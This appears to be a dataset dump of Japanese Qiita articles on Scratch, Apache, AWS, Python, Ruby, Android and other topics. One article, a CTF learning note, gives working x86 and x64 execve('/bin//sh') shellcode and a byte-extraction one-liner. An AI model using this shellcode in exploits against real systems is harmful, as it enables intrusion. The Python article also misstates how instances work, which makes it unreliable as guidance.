OmniAICreator/Qiita-1.07M huggingface dataset:
スマホでScratchのゲームを作る3つのコツ


もう試されている方もおられると思いますが、なんとScratch は、PCを一切使わずにスマホだけでもプログラムが作れますね！

実際に作ったゲームとプログラムはこちらから。
https://scratch.mit.edu/projects/311751784/

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">スマホでScratch のゲームを作る３つのコツをまとめました。<a href="https://t.co/jyhnY3PWyn">https://t.co/jyhnY3PWyn</a> <a href="https://t.co/sdL8iA9dKi">pic.twitter.com/sdL8iA9dKi</a></p>&mdash; いとしん (@makocchinote) <a href="https://twitter.com/makocchinote/status/1132623225458794496?ref_src=twsrc%5Etfw">2019年5月26日</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

僕は、アンドロイド Xperia XZ2 を使っていますが、以下の３つのことに気づいたことで、電車の中で立ちながらでもゲームが作れるようになりました。どんなスマホでもできるかはわからないのですが、興味ある方試してみてください。

# コツ1：拡大縮小が可能な領域を意識する

スマホの画面は小さいので、拡大・縮小・スクロールを頻繁に行うことになります。

しかし、ブロックを配置する領域でピンチやスワイプしても、そのブロック領域での操作となってしまい、全体の拡大縮小はできません。

しかし、図で示した領域ならその操作が可能です。この領域を常に確保できるように意識しながら拡大・縮小・スクロールをします。

![01_全体図2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326704/1435ba61-8c15-05d0-3099-ea85f67f4b5b.png)

# コツ2: ブラウザの設定（PC版サイト）のチェックを切り替える

拡大を不用意にやってしまうと、コツ１で示した領域が画面のどこにもない状態となり、戻れなくなってしまうことがあります。そんなときは、右上のブラウザ（Chromeの場合）のメニューから「PC版サイト」にチェックを入れ、画面の表示を変えます。すると拡大縮小可能領域にたどり着ける場合があります。うまくいったら、PC版サイトのチェックは外します（スマホ版の方が全体的に操作がしやすいです）。どうしてもだめな場合には、、、再読み込みします。

![02_メニュー1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326704/cc3c41c8-df8f-9e11-d86d-0ddb4625b652.png)

# コツ3: 画面上に操作ボタンをつくる

当然ですが、スマホにはカーソルキーがありません。しかし、その代わりに画面上にボタンを作って代用することができます。

例えば、次の図のように、ballというスプライトを画面右下に配置し、「このスプライトが押されたとき、メッセージ１を送る」などとします（タッチでスプライト位置がずれないように、位置合わせのブロックも入れています）。

![03_スプライト1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326704/8f399594-5504-04cb-98d0-9c2182fbf2ef.png)

そして、動かしたいキャラ（キャット）のコード内でそのメッセージ１を受け取り、それに対応する動作を発動させます。

![04_動き1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326704/06ce371b-397f-4f93-33ee-4cb60d0e0078.png)

こんな感じで左側のボタンも作れば、キャラを左右に動かすバーチャルボタンの出来上がりです。

以上になります。これで、電車の中でも思う存分ゲーム作りに励めますね！

実際にスマホで作ったプログラムはこちらから。
https://scratch.mit.edu/projects/311751784/

※この記事は、[ここ](http://itoshi.main.jp/tech/scratch/03-scratch/)からの転載になります。
【Apache】なんか再起動できなくなった時の対処

# はじめに
何回かApacheをrestartしていたら、急にエラーが起きることがありました。
原因がぱっと見のエラー文が同じなのに、原因と対処法が違ったのでまとめておきます。
サーバーはCentOS 7.4、Apacheのバージョンは2.4です。

# 現象
apachectl restartでサーバーを再起動しようとしたら、

```
Failed to start The Apache HTTP Server
```
で再起動できなくなりました。

# パターン1
## 原因

```
kill: cannot find process ""
```
というメッセージがありました。

原因としては、すでに動いているプロセスがあるので再起動できていない状態になっています。

## 対策
80ポートで動いているプロセスを探して停止すると上手くいきました。

```
netstat -lnp | grep :80
kill <プロセス番号>
```
netstatで通信のポート・プロセス情報を表示して、80ポートで動いているプロセスを探します。
killコマンドで停止してから起動します。

# パターン2
再起動を繰り返していた時に陥りました。
## 原因
セマフォを使い切っていたことが原因でした。

```
ipcs -s
```
でセマフォの使用状況を取得できます。
ownerがapacheのものがいっぱいあったら、このパターンだと思います。

## 対策

```
for i in `ipcs -s | awk '/apache/ {print $2}'`; do (ipcrm -s $i); done
```

ipcs -sでセマフォの使用状況を取得後、apacheがownerの行からIDを抜き出します。
それらをipcrm -s に渡して開放してあげます。

# 最後に
他のパターンに遭遇したらまた追記します。
間違いがあったらご指摘をお願いします。

# 参考
http://inaz2.hatenablog.com/entry/2013/04/16/222440
http://kanjuku-tomato.blogspot.com/2015/07/apache.html
完全初心者の為のプロゲート学習法【カンニング推奨】


　ここを見ている皆さんなら「プロゲート」と聞いただけでどんなサイトかはもう説明するまでもないかと思います。
初学者向けのプログラミング学習サービスの代表格とも言えるサイトです。

　さて僕は最初にプログラミングに触れた時にこのプロゲートから入ったクチの人間です。ここでは僕がプロゲートの利用中に思った学習効率の良い利用法を解説します。

#はじめてコード書く時は自分で考えない。まず答えを丸写しをすべき。

　プロゲートは学習方法は以下の通り。

①学ぶコードの概要をテキストと図で紹介される
②学んだ部分以外のコードが書かれたソースコードが出るのでそこに学んだコードを書き込みコードを完成させる。

最初の図解の部分でコードの解説がなされており、それで理解を深めてからコードを書いてもらうというのがプロゲートの学び方です。

しかし考えていただきたい。
初見でクラスとかオブジェクトを図とテキストの説明だけで完全に理解できる人はどれだけいるのだろうか？

ちょっとした計算(/*-+)のようなものとか、文字列の出力(JavaScriptで言う所のconsole.log("abc");)のようなものなら図解でもまだ理解できる。
でもそれ以上難しいものだと、いくらプロゲートが解りやすいものとはいえ理解しきるのは難しいと思う。


だから最初は図で理解できたらまず答えをコピペしてそれを写経する所から始めるべきだと思うのです。


#コピペ&写経で何がどうなっているのか理解が深まる

文章と図解だけで理解が出来ない時は、とりあえず答えになる文章をコピペしてそれを写経します。
すると、

①図解で説明されていた内容が何を意味するのか？
②何をどう操作すればいいのか？

と言った事が直感的に解るようになります。

習うより慣れろという言葉は本当です。
まず答えを写経してみて何となくコードの意味や成り立ちを直感的に理解したほうが良いです。
説明の文章を観るより、実際にコードを真似して書いてみると「あー、なるほどこの説明はこういうことだったのか！」となる理解できる確率が跳ね上がりました。

#写経で大まかに理解できた後に改めてコードを書き直すと挫折しにくい

できるだけ答えを観ずに解こうとする気持ちはわかります。でもそれをすると2つほど無駄が生じます。

①時間の無駄
②精神力の無駄

答えを観るのは負けだなんて気持ちが私の中にあり、当初は自力で答えを観ずに頑張って解いていましたが最終的に時間対効果の観点から一旦答えを丸写ししてその後に解いた方が良いという事に気づかされたのでした。
こんな苦行を続けていたらいずれやる気が失せてプログラムを書きたくなくなると思うのです。

大体プロゲートは苦行や悪戦苦闘する為の物ではありません。
楽しくプログラミングを理解するためのものです。

どう書けばいいのか解らないのなら、それ相応の方法で学ぶべきです。
そして最初にすべき学び方は写経が良いと思うのです。


#まとめ

答えを観ないという意地は張らない。
どういう仕組みかわからないのなら答えをカンニングしてどういうものなのか理解するようにしよう。
ヒントを観ずに書き出すのはその後。
<br>
Google I/O2019で発表されたGoogle Play、Google Play Consoleの追加された機能[WIP]

# Google Play Store

### pre-reg rewards

事前登録でリワードを追加。
例えばゲームで事前登録をすると何かアイテムをプレゼントなどが可能に。
事前登録は非常に効果が高いらしい。


### アプリをDLせずともdemoの実行が可能に

アプリをDLしなくてもdemoアプリをストアから実行可能に

### 国ごとにアイコン設定が可能に

国ごとにアイコンを変更可能
セッションの例ではサッカーゲームのアイコンを国ごとに変更していた。

「ストアでの表示」 →「ストアのカスタム掲載情報」

### ユーザーの状態ごとにアイコンを変更

以下のユーザーの状態でストア画像、動画を変更可能に（coming soon)
・未リリース
・インストール済み
・アンインストール


# Google Play Consle

### Developer-selected peer benchmarks

競合のアプリとアプリのベンチマークを比較可能に。

・Android Vitalsの「アプリのサイズ」から類似アプリとのアプリのダウンロードサイズの比較
・評価のレポートから類似アプリとの評価との比較

それぞれ、自動で作成されるが「類似アプリのグループ編集」から比較するアプリ集を変更可能

### Play Coinsole metrics refresh

### Suggested replies

Gmailなどにも使用されているように
レビューの返信に対して提案をしてくれる。

日本語では対応をしていないのか確認できず。

### App download size breakdown

app bundleで上げているなら、アプリ内のどこにどれだけ容量を使っているかが分かるように。

## session

What's New in Google Play (Google I/O'19)
https://www.youtube.com/watch?v=o_oUeciBknU&list=PLOU2XLYxmsILVTiOlMJdo7RQS55jYhsMi&index=87

Google Playのこと全体の話

Unleash the Power of Play Store Discovery (Google I/O’19)
https://www.youtube.com/watch?v=Nz_Ilg4BbKE

ゲームアプリ向けに新機能紹介。事前登録リワードや国別の設定変更に関してなど。非エンジニアにもおすすめ。

New Tools to Optimize Your App's Size and Boost Installs on Google Play (Google I/O’19) https://www.youtube.com/watch?v=rEuwVWpYBOY

アプリの容量が大事という話からApp Bundleに変えて最適化しようという話
【VisualStudio 2019 for Mac】【C#】Mac用アプリ：ボタンを置く 

#Mac上で動作するGUIアプリケーションの基本的な作り方
Mac上で動作するGUIアプリケーションをC#で書くための手順を、プロジェクト作成から順に追っていく。
VisualStudio for MacではXcodeの標準的なGUI作成方法であるstoryboardに対応している。
storyboardの編集はXcodeを使用するため、XcodeとVisualStudioを行き来して作っていくことになる。
今回は仕組みは置いておいて手順だけのメモ。

#手順1:VisualStudio上でMac用のGUIアプリのプロジェクトファイルを作成する
まずはVisualStudioでプロジェクトファイルを作成する。
<img width="1350" alt="スクリーンショット 2019-05-25 23.12.15.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/423985/0486bce8-e6f8-caba-0d94-7511c9d5ec45.png">


#手順2:StoryBoardの編集
プロジェクトにはStoryBoardが追加されており、選択するとStoryBoardを編集するためにXcodeが起動する
<img width="707" alt="スクリーンショット 2019-05-25 23.26.49.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/423985/6b00a7e2-2e04-1fc7-8fee-52226cd4a8bf.png">





#手順3:配置した部品とC#の処理を接続
StoryBoardに置いたボタンにアクションを繋げる。
※不明な場合、この辺はXCodeの操作になるのでXCode関連の情報を調べる。
<img width="1156" alt="スクリーンショット 2019-05-26 20.58.30.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/423985/8c43c44c-93e1-6b1a-14b1-2d34f1351766.png">


繋げたアクションでコールバックされる処理処理と同名のメソッドがC#側クラスににも作られているので、独自の処理を書ける。
<img width="1156" alt="スクリーンショット 2019-05-26 21.06.53.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/423985/0d9d1797-2758-47e2-8ca6-7554c71a0801.png">





#参考
https://docs.microsoft.com/ja-jp/xamarin/mac/get-started/hello-mac

#動作環境
Mac OS : 10.14.3(Mojave)
XCode  : Version 10.2.1 (10E1001)
VisualStudio Comunity 2019 for Mac
14 分で JavaScript 入門

# JavaScript はプログラミング入門に最適な言語である
以前、[プログラミング初心者にお勧めする入門用言語](https://qiita.com/otchy/items/d3eb1546145d1b584b34)という記事で自分の考えを詳しく解説したのですが、JavaScript はプログラミングを初めてやる人にとてもお勧めの言語です。ただ具体的にどのようにプログラミングを始めたら良いかという事については、その記事ではあまり触れることはありませんでした。

そんな中、その記事でも少し触れたのですが、[JavaScript in 14 minutes](https://jgthms.com/javascript-in-14-minutes/) という素晴らしいサイトがあります。これは [Jeremy Thomas](https://jgthms.com/) さんという方が作ったコンテンツで、本当の本当に初めてプログラミングに取り組む人がスムーズに学べるように、とてもよく考えられています。JavaScript でプログラミング入門をするのであればこれほど良い最初の教材はないのですが、そこはやはり英語の壁があって、日本語話者に広く学んでもらうのは難しいなと思っていました。

# 14 分で JavaScript 入門！
その記事で書いた自分の理想をより進めるために、いっその事そのサイトを日本語に翻訳して公開してしまえばいいと考えました。そこで Jeremy さんに連絡を取り、[許可をもらって](https://twitter.com/otchy/status/990948793464975360)自分のドメインで公開したのがこの [14 分で JavaScript 入門](https://js-in-14-mins.otchy.net/)というサイトになります。

このサイトは JavaScript 入門を謳ってはいるものの、実質的にはプログラミング入門といって差し支えない内容です。従って、JavaScript に限らず例えば関数や変数、配列がどういったものか知っていたり、ある程度プログラムを書いたことがある人にはとても退屈な内容だと思います。あくまで人生で初めてプログラミングに触れるような人が対象です。

以前の記事の締めに「この記事をきっかけとして一人でも多くの人がプログラミングを楽しんでくれると嬉しい」と書きましたが、今回の [14 分で JavaScript 入門](https://js-in-14-mins.otchy.net/)についてもはやり、このサイトをきっかけとして一人でも多くの人がプログラミングを楽しんでくれると嬉しいなと思います。

# サイトの技術的な話
このサイトを作るにあたってまず最初に[オリジナルのリポジトリ](https://github.com/jgthms/javascript-in-14-minutes)をローカルにクローンしました。そしてざっくりとコードを読んでみたものの、最初はどうやら何らかのテンプレートエンジンを使用して静的サイトを作っているっぽい事以外よく分かりませんでした。

そこでテンプレートファイルの中に含まれている制御構文のうちやや特徴的なキーワードや、恐らくそのテンプレートエンジンの標準に従っているであろうディレクトリ名などを検索して、[Jekyll](https://jekyllrb-ja.github.io/) を使っていることを突き止めました。これは Ruby で書かれた静的サイトジェネレータで、そこまで分かったら、ローカルのリポジトリ上で改変したサイトを動かすまではすぐでした。

ここで技術的な面では翻訳を進める目処が付いたので Jeremy さんに許可を取り付けて、そこから先、長〜いなが〜〜〜い翻訳の苦労があるのですが、そこは技術的な話では無いので割愛します。最終的に翻訳が完了した時点でオリジナルを[フォーク](https://github.com/otchy210/javascript-in-14-minutes)して差分をプッシュしました。

さて、翻訳が完了して静的なサイトをどこでホストするか、という話になるのですが、今回は Google Cloud 上で Node を動かしてホストしています。これ実は、デフォルトのまま運用しようとすると、うっかり警告無しに課金が発生してしまう可能性があったりするので、無料の範囲内で安全に使うにはちょっとコツがあるのですが、それはまた需要があれば別の記事にでもまとめることにしましょう。Node を利用して静的なサイトをホストしつつ、無料で済ませてかつ独自ドメイン HTTPS で公開する方法、とか需要ありそうですよね。

なお、Jekyll で静的サイトを生成したり、そこで作成されたものを Google Cloud にデプロイする基本的な方法なんかは、[リポジトリ](https://github.com/otchy210/javascript-in-14-minutes)上の `package.json` やテンプレートファイルを見てもらえば雰囲気で分かると思うので、興味のある方はご覧下さい。
AWS WorkMailでユーザーを削除する方法

# はじめに

本稿は、「AWS WorkMail」を使用していて、かつ最低限運用できる方向けの記事となります。
AWS WorkMailに関しては以下の記事を参考にしてください。

- [Amazon WorkMail(公式サイト)](https://aws.amazon.com/jp/workmail/)
- [AWS WorkMailを使ってみたら想像以上に便利だった](https://qiita.com/ysKey2/items/2b019337772f8499beec)
- [Amazon WorkMail - WEBインフラに不要な穴を開けないために](https://qiita.com/kz-uchi/items/34a540d8d80ee91d7713)

# 概要

AWS WorkMailでは、コンソール上からユーザを削除することができない。
「Disable User」はあるものの、あくまで無効化するためのもので、永久に残り続けてしまう。

<img width="1552" alt="1.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93963/6350d8ca-bbef-1943-4c36-5d8ab535bae5.png">

公式ドキュメントなどを調べた結果、「AWS CLI(コマンドラインインターフェース)」を利用して特定コマンドを実行することで削除できるようだったので、その手順について記載します。

# 手順
## AWS CLIのインストールと設定

インストールは以下参照。
[AWS CLI のインストールと設定](https://docs.aws.amazon.com/ja_jp/streams/latest/dev/kinesis-tutorial-cli-installation.html)

インストール後の設定は以下参照。
[AWS CLI の設定](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/cli-chap-configure.html)

設定まで行うことで、初めてコマンドを実行することができるようになります。

## AWS CLIでdelete-userコマンドの実行

まず、delete-userコマンドを実行するために、削除するユーザのIDが必要なため、「list-users」コマンドでユーザIDを取得する。

list-usersコマンドの詳細は以下参照。
[list-users ー AWS CLI 1.16.166 Command Reference](https://docs.aws.amazon.com/cli/latest/reference/workmail/list-users.html)

```
$ aws workmail list-users --organization-id [コンソールの"Organization settings"で表示されている、Organization ID]
{
    "Users": [
        {
            "DisplayName": "xxxxxxxx", 
            "Name": "xxx", 
            "Email": "xxxxxxx@xxxxxx.xxxx", 
            "State": "ENABLED", 
            "EnabledDate": 1547190663.095, 
            "UserRole": "USER", 
            "Id": "00000-0000-000000-000000-0000000"
        }, 
        {
            "State": "DISABLED", 
            "Id": "000000-0000000-000000-00000-00000000", 
            "UserRole": "SYSTEM_USER", 
            "Name": "Administrator"
        }
    ]
}
```

そして、取得したユーザIDを指定して、delete-userコマンドを実行。

delete-userコマンドの詳細は以下参照。
[delete-user ー AWS CLI 1.16.166 Command Reference](https://docs.aws.amazon.com/cli/latest/reference/workmail/delete-user.html)

```
$ aws workmail delete-user --organization-id [コンソールの"Organization settings"で表示されている、Organization ID] --user-id 00000-0000-000000-000000-0000000
```

これでコンソール上からユーザが削除できるはずです。
（ただし、list-usersコマンドで見ると、ずっと残り続けるようです。。）
pythonのインスタンスについて

#pythonのインスタンス(instance)

##（例）userの特徴を保存しておく場合
###クラスを作成する(おすすめ）
以下のように名前，身長，体重，性別などをたくさんの人の情報を保持したい

````python
"""
正しい書き方
"""
class User:
    def __init__(self, name, height):
        self.name = name
        self.height = height
````
###インスタンスを生成する
mainで以下のように呼び出す事でインスタンス(instance)を生成できる
これはuser1というinstance(例という意味)を生成している

````python
user1 = User #とりあえずインスタンスを生成
user1.name = "hoge" #後からname,heightを代入
user1.height = "foo"

user1 = User("hoge","foo") #あらかじめ代入可能
````
initを定義しているので

````python
user1 = User("tarou","175")
user2 = User("hanako","140")
````
のように複数のインスタンスを作成する事ができる！！

###クラスを生成する（微妙）

````python
"""
あんまり良くない書き方
"""
class User:
    name = "hoge"
    height ="foo"
````
上記のように書くと

````python
user1 = User
user2 = User
````
のように複数のインスタンスを生成した場合，変数を同期してしまう

つまり以下のようにuser1とuser2の名前の設定をしたのに

````python
user1.name = "tarou"
user2.name = "hanako"
````
出力すると

````python
print(user1.name)

>> hanako
````

hanakoが出力されてしまう

インスタンスやクラスを知ると便利なことが多いので基礎的な事に注意したい
shellcode

シェルコードの書き方メモ。
最近久しぶりにCTFをやりはじめ、Beginners CTF 2019 でシェルコードについて色々調べたのでまとめておく。

# シェルコードとは

CTFのPwnの問題では、度々シェルコードを書く技術が求められる。
シェルコードとは、機械語の命令の集まりで、基本的にはシェルを起動させるためのコード。

Pwnでよくあるのは、プログラムの制御(EIP, RIP)を奪った状態でシェルコードのアドレスに飛ばすことで、シェルを起動させるという問題。

条件付き（印字可能な文字列しか使えないなど）のシェルコードを書かせるだけの問題も多い。


# 書き方

いきなり機械語を書くのは大変なので、アセンブラを書いて、それをアセンブルする。

ここではアセンブルとして NASMを使う。 GNU Assmbler (GAS) というのもあるらしい。



32bit環境のシェルコードは[こちらの記事]( https://book.mynavi.jp/manatee/detail/id=64562 ) がめちゃくちゃわかりやすいので解説はそちらに任せる。

まず以下のようなスクリプトを書く。

```nasm

; shellcode.s
BITS 32
global _start
 
_start:
    xor eax, eax
    mov al, 11
    xor ecx, ecx
    xor edx, edx
    push ecx
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    int 0x80
```

そして、nasm コマンドでアセンブル。

```bash
nasm shellcode.s
```

これで、shellcodeというファイルが作成される。

あとはpythonで読み込んでexploitに組み込めば良い。

```python
with open('shellcode', 'rb') as f:
	sc = f.read() # '1\xc0\xb0\x0b1\xc91\xd2Qh//shh/bin\x89\xe3\xcd\x80'
    
```

実際に実行して挙動を確かめるためには以下のコマンド。
(**2019/09/22 コメントを受けて オプションを変更 **)

```bash
nasm -f elf32 shellcode.s 
ld -m elf_i386 shellcode.o
./a.out
```



# 64bit

基本的には32bitと変わらない。先頭で `BITS 64` と宣言してあげればよい。

[ももいろテクノロジー] (<http://inaz2.hatenablog.com/entry/2014/07/04/001851>) より引用、以下の違いがある。

>- レジスタのbit幅が64bitとなり、rax, rdx, rcx, rbx, rsi, rdi, rsp, rbp, ripのように表される
>- 汎用レジスタとしてr8, r9, ..., r15が使える
>- 64bit整数を即値でpushすることはできない。レジスタへのmovは可能
>- システムコール番号が変わる（execveは59）
>- int 0x80ではなくsyscallを使う。システムコール番号はrax、引数はrdi, rsi, rdx, r10, r8, r9の順で与える
>- システムコール実行後、戻り値が入るrax以外にrcx, r11も書き換えられる可能性がある



サンプル (**2019/09/22 コメントを受けて 内容を変更**)

```nasm

; shellcode64.s
BITS 64
global _start

_start:
    xor eax, eax
    mov al, 0x3b
    xor esi, esi
    cdq
    push rsi
    mov rdi, 0x68732f2f6e69622f
    push rdi
    mov rdi, rsp
    syscall
```

実行するには以下。

```bash
nasm -f elf64 shellcode64.s
ld -s -o a.out shellcode64.o
./a.out
```



# 実行ファイルから文字列として取り出す

以下のコマンドで文字列を出力することができる。

```bash
objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
```
Ruby で GoogleSpreadSheet の CSV をダウンロードする

ちょっと面倒だったのでメモを残しておく。雑なスクリプトですが。

## 実装
ダウンロードするための API  が用意されていないのが面倒いポイント。
authorize まわりの処理は、ほぼ [Ruby QuickStart](https://developers.google.com/sheets/api/quickstart/ruby) ママなので説明省略。

```download_google_spreadsheets.rb
require 'csv'
require 'active_support'
require 'googleauth'
require 'googleauth/stores/file_token_store'
require 'google/apis/sheets_v4'
require 'google/apis/drive_v3'
require 'open-uri'

SPREADSHEET_ID = 'XXXXXXXXXXXXXXXXX'
TOKEN_PATH = "#{__dir__}/token.yml"
CREDENTIALS_PATH = "#{__dir__}/credentials.json"
OOB_URI = 'urn:ietf:wg:oauth:2.0:oob'
SCOPES = [
  Google::Apis::SheetsV4::AUTH_SPREADSHEETS_READONLY,
  Google::Apis::DriveV3::AUTH_DRIVE # NOTE: スプレッドシートをダウンロードするのに必要
]

def authorize
  client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)
  token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)
  authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPES, token_store)
  user_id = 'default'
  credentials = authorizer.get_credentials(user_id)
  if credentials.nil?
    url = authorizer.get_authorization_url(base_url: OOB_URI)
    puts 'Open the following URL in the browser and enter the ' \
         "resulting code after authorization:\n" + url
    code = gets
    credentials = authorizer.get_and_store_credentials_from_code(
      user_id: user_id, code: code, base_url: OOB_URI
    )
  end
  credentials
end

# ココが今回の話の焦点
def fetch_csv_files_as_hashes
  sheet_service = Google::Apis::SheetsV4::SheetsService.new
  sheet_service.client_options.application_name = 'sensuikan1973 sample app'
  authorization = authorize
  sheet_service.authorization = authorization

  spreadsheet = JSON.parse(sheet_service.get_spreadsheet(SPREADSHEET_ID).to_json)

  # 自前で export 用の URL を組み立てる
  export_url_list = spreadsheet['sheets'].map do |sheet|
    "https://docs.google.com/spreadsheets/d/#{SPREADSHEET_ID}/export?format=csv&gid=#{sheet['properties']['sheetId']}"
  end.compact!

  export_url_list.map do |export_url|
    puts "download csv from  #{export_url}"
    # 間隔なしで連続で叩くと 429 で怒られちゃう
    sleep(5)
    uri = OpenURI.open_uri(
      export_url,
      'rb:utf-8',
      'Authorization' => "Bearer #{authorization.access_token}" # NOTE: ここ大事!
    )
    CSV.parse(uri.read, headers: true).map(&:to_hash) # hash にして返す
  end
end
```

## 参考
* [V4 SpreadSheet get](https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets/get) : 実際に API を実行してレスポンスを確かめられて便利
* [stack overflow | Using the google drive API to download a spreadsheet in csv format](https://stackoverflow.com/questions/11619805/using-the-google-drive-api-to-download-a-spreadsheet-in-csv-format/51235960#51235960) : Python で似たようなことをやっていて、とても参考になった
作業中に誰でも無敵になれるもの作った

某マリオゲームにて，スターを取得した時，無敵の曲が流れます．その曲が作業時のみ流れたら，**俺最強**感を味わえ**無敵**になれます．作業もガーーーっと進むでしょう．

# 仕組み

それはどういう仕組みかをザッと説明すると，

1. webカメラで顔を検出(opencv)
2. 顔を検出している間，音楽を流し続ける

以上です．作業時は画面をみているので，顔検出が可能となり，それを情報として使えます．
ロジックはシンプル．


# プログラム

とりあえず実行するプログラムを以下に示します．一応pythonで記述されています．
実行する時は，引数として，無敵スター状態のmp3ファイルパスを指定します．(別に他の音楽ファイルでもいいのですけれど．．．)

```
python3 segcam.py smb_star.mp3
```


```python:segcam.py
import sys
import numpy as np
import cv2
import pygame

if __name__ == '__main__':
    # 定数定義
    ESC_KEY = 27     # Escキー
    INTERVAL= 33     # 待ち時間
    FRAME_RATE = 30  # fps

    ORG_WINDOW_NAME = "org"
    # GAUSSIAN_WINDOW_NAME = "gaussian"

    DEVICE_ID = 0

    # 分類器の指定
    cascade_file = "./haarcascade_frontalface_alt2.xml"
    cascade = cv2.CascadeClassifier(cascade_file)

    # カメラ映像取得
    cap = cv2.VideoCapture(DEVICE_ID)

    # 初期フレームの読込
    end_flag, c_frame = cap.read()
    height, width, channels = c_frame.shape

    # ウィンドウの準備
    cv2.namedWindow(ORG_WINDOW_NAME)
    # cv2.namedWindow(GAUSSIAN_WINDOW_NAME)

    # 連続して検出しているか
    flag = 0

    # 変換処理ループ
    while end_flag == True:

        # 画像の取得と顔の検出
        img = c_frame
        img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        face_list = cascade.detectMultiScale(img_gray, minSize=(100, 100))

        # 顔を検出した場合
        if len(face_list) != 0:

            if flag == 0:
                # 音楽流す
                # mixerモジュールの初期化
                pygame.mixer.init(frequency = 48000)
                # 音楽ファイルの読み込み
                pygame.mixer.music.load(sys.argv[1])
                # 音楽再生、および再生回数の設定(-1はループ再生)
                pygame.mixer.music.play(-1)

            # 検出した顔に印を付ける
            for (x, y, w, h) in face_list:
                color = (0, 0, 225)
                pen_w = 3
                # cv2.rectangle(img_gray, (x, y), (x+w, y+h), color, thickness = pen_w)
                cv2.rectangle(c_frame, (x, y), (x+w, y+h), color, thickness = pen_w)
            
            flag = 1
        
        else:
            if flag == 1:
                pygame.mixer.music.stop()
            flag = 0

        # フレーム表示
        cv2.imshow(ORG_WINDOW_NAME, c_frame)
        # cv2.imshow(GAUSSIAN_WINDOW_NAME, img_gray)

        # Escキーで終了
        key = cv2.waitKey(INTERVAL)
        if key == ESC_KEY:
            break

        # 次のフレーム読み込み
        end_flag, c_frame = cap.read()

    # 終了処理
    cv2.destroyAllWindows()
    cap.release()
```

これは，顔を検出するサンプルプログラムを元にしています(9割以上コピペ)．このソースを参考しましたよと書きたいのですが，そもそもこれを製作したのが半年以上前なので，いま参考にしたページを慌てて探しましたが，でてきませんでした．すみません．

# 最後に
これは，私が学生時代の研究室でサクッと作ったものですが，事の発端は節電でした．
　昨年大きな地震があり，おおきな停電もありました．そこで地域全体，学校全体で節電しましょうというようになりましたので，研究室内でも節電できる部分を探しました．
　すると，ずっと画面が点いているタスク管理などが表示されている共有のディスプレイを目にしました．これをみる人は画面の情報を見るためにある程度近く必要があります．
　そこで，画面に近づけば，ディスプレイがONになり，それ以外がOFFになる物を作れば良いとなりました．画面を見るためには必ず顔を画面に向ける必要がありますので，顔を検出すれば良いことになります．
　そして実際に，顔を検出している間ディスプレイがON，それ以外はOFFになるものを作りましたが，ハードウェアとの接続のせいか，時間が経つにつれて処理が重くなってきました．
　結局，このディスプレイONOFF節電作戦は諦めて，今回の無敵になれるやつに繋がったという経緯です．

何が言いたいかというと，課題解決のための手法が飽和したとき，エンタメになる可能性があるということです．

以上．
SimpleDateFormatでParseExceptionが出るときの確認点

Rssフィールドから日付を取得していたら、parseExceptionが出ました。

parseExceptionが起こった時の確認点をまとめたいと思います。

エラーは下記になります

```
java.lang.RuntimeException: An error occurred while executing doInBackground()
        at android.support.v4.content.ModernAsyncTask$3.done(ModernAsyncTask.java:161)
        at java.util.concurrent.FutureTask.finishCompletion(FutureTask.java:383)
        at java.util.concurrent.FutureTask.setException(FutureTask.java:252)
        at java.util.concurrent.FutureTask.run(FutureTask.java:271)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1162)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:636)
        at java.lang.Thread.run(Thread.java:764)
     Caused by: java.text.ParseException: Unparseable date: "Fri, 24 May 2019 13:10:14 +0900"
        at java.text.DateFormat.parse(DateFormat.java:362)
    // (省略)

```

####①形式はあっているか？

```kotlin:Rss.kt
val formatter = SimpleDateFormat("EEE, dd MM yyyy HH:mm:ss z")
```

最初に上記のように記載してしまいました。
リファレンスを見てみると、形式に誤りがあることがわかりました。

|    文字    |    説明    |    使用例   |
|:----------------:|:-----------------:|:------------------:|
| y        |   年    |        yyyy =  2019<br>yy = 19  |
| M  | 月|  MMMM = July<br>MMM= Jul <br>MM = 07 <br> M = 7   |
| H |時間 | HH = 08 |
| m |分 |  mm=20 |
| s | 秒 | ss= 58 |
| z | General タイムゾーン  | JST  |
| Z| RFC 822 タイムゾーン | +0900 |
| a| AM/PM | AM|
| k | 1日の中での時間| 13 |
| K | AM/PMの中での時間| 01 |

上の表によると、`MM`という部分と、`z`の部分を間違っていました。
大文字・小文字で意味が全く違うものもあるので、要注意です。
下記の形式でパースできるはずです。

```kotlin:Rss.kt
val formatter = SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss Z")
```

####②環境依存はないか？

①だけだと不完全です。
パースしてみると下記が出力されます。

`金, 24 5 2019 13:10:14 +0900`

曜日が日本語表示になっていました。
デフォルトが日本語になっているようでした。
SimpledateFormatで形式を設定するときにロケールを設定する必要があります。

```kotlin:Rss.kt
val formatter = SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss Z", Locale.US)
```

うまくパースできないときは上記のことを確認してみるといいかもしれません。

####参照
[Android Developers SimpleDateFormat](https://developer.android.com/reference/java/text/SimpleDateFormat.html)
[SimpleDateFormatクラスparseメソッドのLocaleに注意](http://d.hatena.ne.jp/hidepon_mory/20080905/1220602700)
10分でAndroidスマホにGo開発環境をたてる

# Termuxのインストール
TermuxはAndroid用のターミナルエミュレータです。
